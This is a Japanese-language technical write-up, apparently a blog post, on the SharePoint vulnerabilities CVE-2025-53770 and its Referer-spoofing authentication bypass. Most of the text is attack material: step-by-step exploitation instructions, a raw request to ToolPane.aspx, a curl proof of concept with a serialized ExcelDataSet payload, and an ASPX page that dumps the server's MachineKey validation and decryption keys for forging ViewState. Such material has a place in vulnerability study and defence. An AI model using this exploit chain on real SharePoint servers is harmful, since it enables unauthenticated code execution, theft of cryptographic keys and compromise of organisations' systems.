
CVE-2025-53770 - SharePoint
Microsoft SharePoint Server オンプレミスにおける信頼されないデータの逆シリアル化により、攻撃者がリモートでコードを実行し、システムを侵害できる可能性があります。Microsoft は活発な悪用を認識しており、包括的な更新プログラムを準備しています。CVE ドキュメントの緩和策が実施されていることを確認してください。
これは重大なリモートコード実行(RCE)です。信頼されないデータの安全でない逆シリアル化を悪用し、攻撃者が認証なしで任意のコードを実行できるようにします。
これは、HTTP ヘッダー(特に Referer フィールド)の操作による認証バイパス(スプーフィング)の脆弱性であり、アクセス制御を回避して CVE-53770 と組み合わせることで RCE に昇格できる可能性があります。
両方とも、7月に適用された以前のパッチ (CVE-2025-49704 および CVE-2025-49706) を置き換えるものですが、それらは不完全であることが判明し、新たな攻撃ベクトルを可能にしています。
1 - (認証バイパス): /layouts/15/ToolPane.aspx
ステップ 1 – 脆弱な URL に POST リクエストを送信します。 ステップ 2 – MachineKey を読み取るコードを含む .aspx ファイルをアップロードします(あなたのスニペットと同じ)。 ステップ 3 – これらのキーで構成された ysoserial.net などのツールを使用して、悪意のある ViewState を生成します。
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
次の PoC は、攻撃者がこの脆弱性を悪用して、脆弱なエンドポイントを介して悪意のあるペイロードを抽出およびデコードする方法を示しています。
ターゲットドメインは意図的に target.com に置き換えられています。
PoC コマンド 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
分析で使用した実際のコマンド
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>